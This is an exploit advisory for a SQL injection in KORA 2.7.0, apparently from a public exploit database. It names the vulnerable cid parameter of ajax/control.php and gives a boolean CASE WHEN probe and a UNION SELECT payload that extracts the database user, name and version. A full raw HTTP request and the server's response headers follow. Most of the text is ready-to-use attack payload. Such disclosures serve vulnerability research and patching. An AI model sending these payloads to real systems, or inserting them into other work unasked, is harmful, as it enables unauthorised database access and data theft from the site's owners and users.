KORA 2.7.0 SQL Injection

`# Exploit Title: KORA 2.7.0 - SQL Injection  
# Dork: N/A  
# Date: 2018-10-13  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.matrix.msu.edu/  
# Software Link: https://sourceforge.net/projects/kora/files/latest/download  
# Version: 2.7.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=[SQL]&keywords=1  
#   
# (CASE WHEN (22=22) THEN 22 ELSE 1*(SELECT 22 FROM DUAL UNION SELECT 66 FROM DUAL) END)  
#   
# 1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-  
#   
GET /[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=-1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-&keywords=1 HTTP/1.1  
Host: 192.168.1.27  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Fri, 13 Oct 2018 02:01:22 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Set-Cookie: PHPSESSID=pa377tajtaocbeauhd67llk8l4; path=/  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 536  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
#  
  
`